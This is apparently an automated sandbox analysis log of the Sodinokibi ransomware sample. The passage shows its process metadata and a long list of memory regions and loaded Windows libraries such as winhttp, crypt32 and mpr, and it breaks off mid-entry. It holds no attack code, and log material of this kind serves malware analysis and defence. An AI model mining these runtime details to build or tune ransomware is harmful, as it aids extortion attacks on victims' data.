# Flog Txt Version 1 # Analyzer Version: 4.2.2 # Analyzer Build Date: Jun 7 2021 05:43:29 # Log Creation Date: 03.07.2021 16:09:43.111 Process: id = "1" image_name = "sodinokibi.exe" filename = "c:\\users\\keecfmwgj\\desktop\\sodinokibi.exe" page_root = "0x42bbd000" os_pid = "0xec8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x464" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\sodinokibi.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e563" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 114 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 115 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 116 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 117 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 118 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 119 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 120 start_va = 0x400000 end_va = 0x4defff monitored = 1 entry_point = 0x40a6c6 region_type = mapped_file name = "sodinokibi.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\sodinokibi.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\sodinokibi.exe") Region: id = 121 start_va = 0x77380000 end_va = 0x77528fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 122 start_va = 0x77560000 end_va = 0x776dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 123 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 124 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 125 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 126 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 127 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 129 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 269 start_va = 0x360000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 270 start_va = 0x749b0000 end_va = 0x749b7fff monitored = 0 entry_point = 0x749b20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 271 start_va = 0x749c0000 end_va = 0x74a1bfff monitored = 0 entry_point = 0x749ff798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x74a20000 end_va = 0x74a5efff monitored = 0 entry_point = 0x74a4de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 273 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 274 start_va = 0x75b20000 end_va = 0x75c2ffff monitored = 0 entry_point = 0x75b332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 275 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 276 start_va = 0x77160000 end_va = 0x7727efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077160000" filename = "" Region: id = 277 start_va = 0x77280000 end_va = 0x77379fff monitored = 0 entry_point = 0x7729a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 278 start_va = 0x77280000 end_va = 0x77379fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077280000" filename = "" Region: id = 279 start_va = 0x4e0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 280 start_va = 0x75b20000 end_va = 0x75c2ffff monitored = 0 entry_point = 0x75b332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 281 start_va = 0x75c60000 end_va = 0x75ca5fff monitored = 0 entry_point = 0x75c67478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 282 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 283 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 284 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 285 start_va = 0x1a0000 end_va = 0x206fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 286 start_va = 0x75d10000 end_va = 0x75e0ffff monitored = 0 entry_point = 0x75d2b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 287 start_va = 0x75ed0000 end_va = 0x75f5ffff monitored = 0 entry_point = 0x75ee6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 288 start_va = 0x77530000 end_va = 0x77539fff monitored = 0 entry_point = 0x775336a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 289 start_va = 0x75e10000 end_va = 0x75eacfff monitored = 0 entry_point = 0x75e43fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 290 start_va = 0x75120000 end_va = 0x751cbfff monitored = 0 entry_point = 0x7512a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 291 start_va = 0x751d0000 end_va = 0x7526ffff monitored = 0 entry_point = 0x751e49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 292 start_va = 0x75eb0000 end_va = 0x75ec8fff monitored = 0 entry_point = 0x75eb4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 293 start_va = 0x77070000 end_va = 0x7715ffff monitored = 0 entry_point = 0x77080569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 294 start_va = 0x750b0000 end_va = 0x7510ffff monitored = 0 entry_point = 0x750ca3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 295 start_va = 0x750a0000 end_va = 0x750abfff monitored = 0 entry_point = 0x750a10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 296 start_va = 0x73ac0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x73ac10f6 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 297 start_va = 0x210000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 298 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 299 start_va = 0x4e0000 end_va = 0x667fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 300 start_va = 0x6a0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 301 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 302 start_va = 0x75830000 end_va = 0x7588ffff monitored = 0 entry_point = 0x7584158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 303 start_va = 0x756d0000 end_va = 0x7579bfff monitored = 0 entry_point = 0x756d168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 304 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 305 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 306 start_va = 0x7a0000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 307 start_va = 0x930000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 308 start_va = 0x1d30000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 309 start_va = 0x210000 end_va = 0x237fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 310 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 311 start_va = 0x74ed0000 end_va = 0x74f8efff monitored = 0 entry_point = 0x74ee1dfc region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 312 start_va = 0x210000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 313 start_va = 0x74e70000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74e713b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 314 start_va = 0x74e20000 end_va = 0x74e6efff monitored = 0 entry_point = 0x74e21452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 315 start_va = 0x754c0000 end_va = 0x7561bfff monitored = 0 entry_point = 0x7550ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 316 start_va = 0x74de0000 end_va = 0x74e11fff monitored = 0 entry_point = 0x74de37f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 317 start_va = 0x76020000 end_va = 0x76140fff monitored = 0 entry_point = 0x7602158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 318 start_va = 0x75900000 end_va = 0x7590bfff monitored = 0 entry_point = 0x7590238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 319 start_va = 0x75cb0000 end_va = 0x75d06fff monitored = 0 entry_point = 0x75cc9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 320 start_va = 0x74dc0000 end_va = 0x74dd1fff monitored = 0 entry_point = 0x74dc1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 321 start_va = 0x76150000 end_va = 0x76d99fff monitored = 0 entry_point = 0x761d1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 322 start_va = 0x1ea0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 323 start_va = 0x210000 end_va = 0x219fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 324 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 325 start_va = 0x73e30000 end_va = 0x73eaffff monitored = 0 entry_point = 0x73e437c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 326 start_va = 0x20b0000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 327 start_va = 0x1d30000 end_va = 0x1e0efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d30000" filename = "" Region: id = 328 start_va = 0x1e90000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 329 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 330 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 331 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 332 start_va = 0x280000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 333 start_va = 0x1ea0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 334 start_va = 0x1fb0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 335 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 336 start_va = 0x250000 end_va = 0x255fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 337 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 338 start_va = 0x20b0000 end_va = 0x21cefff monitored = 0 entry_point = 0x20c5ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 339 start_va = 0x2220000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 340 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 341 start_va = 0x2c0000 end_va = 0x32afff monitored = 0 entry_point = 0x2c30e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 342 start_va = 0x20b0000 end_va = 0x21a9fff monitored = 0 entry_point = 0x20ca2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 343 start_va = 0x77280000 end_va = 0x77379fff monitored = 0 entry_point = 0x7729a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 344 start_va = 0x1e10000 end_va = 0x1e76fff monitored = 0 entry_point = 0x1e1b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 345 start_va = 0x330000 end_va = 0x33dfff monitored = 0 entry_point = 0x331080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 346 start_va = 0x20b0000 end_va = 0x2178fff monitored = 0 entry_point = 0x212a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 347 start_va = 0x2180000 end_va = 0x221efff monitored = 0 entry_point = 0x21825a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 348 start_va = 0x2260000 end_va = 0x238cfff monitored = 0 entry_point = 0x22aed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 349 start_va = 0x2390000 end_va = 0x246afff monitored = 0 entry_point = 0x23b0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 350 start_va = 0x3e0000 end_va = 0x3fefff monitored = 0 entry_point = 0x3e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 351 start_va = 0x2470000 end_va = 0x24d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 352 start_va = 0x24e0000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 353 start_va = 0x24e0000 end_va = 0x25dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 354 start_va = 0x2680000 end_va = 0x268ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 355 start_va = 0x670000 end_va = 0x698fff monitored = 0 entry_point = 0x671010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 356 start_va = 0x670000 end_va = 0x698fff monitored = 0 entry_point = 0x671010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 357 start_va = 0x670000 end_va = 0x69dfff monitored = 0 entry_point = 0x671010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 358 start_va = 0x2690000 end_va = 0x2798fff monitored = 0 entry_point = 0x2691064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 359 start_va = 0x27a0000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 360 start_va = 0x25e0000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 361 start_va = 0x27a0000 end_va = 0x289ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 362 start_va = 0x28a0000 end_va = 0x291ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 363 start_va = 0x2920000 end_va = 0x3d1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002920000" filename = "" Region: id = 364 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 365 start_va = 0x340000 end_va = 0x344fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 366 start_va = 0x3d20000 end_va = 0x3e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d20000" filename = "" Region: id = 368 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 369 start_va = 0x280000 end_va = 0x291fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 370 start_va = 0x280000 end_va = 0x293fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 371 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 372 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 373 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 374 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 375 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 376 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 377 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 378 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 379 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 380 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 381 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 382 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 383 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 384 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 385 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 386 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 387 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 388 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 389 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 390 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 391 start_va = 0x2920000 end_va = 0x2abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002920000" filename = "" Region: id = 392 start_va = 0x2ac0000 end_va = 0x2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 393 start_va = 0x2c20000 end_va = 0x2d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 394 start_va = 0x2d70000 end_va = 0x2feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 395 start_va = 0x2ff0000 end_va = 0x32affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 396 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 397 start_va = 0x280000 end_va = 0x291fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 398 start_va = 0x280000 end_va = 0x293fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 399 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 400 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 401 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 402 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 403 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 404 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 405 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 406 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 407 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 408 start_va = 0x240000 end_va = 0x24dfff monitored = 1 entry_point = 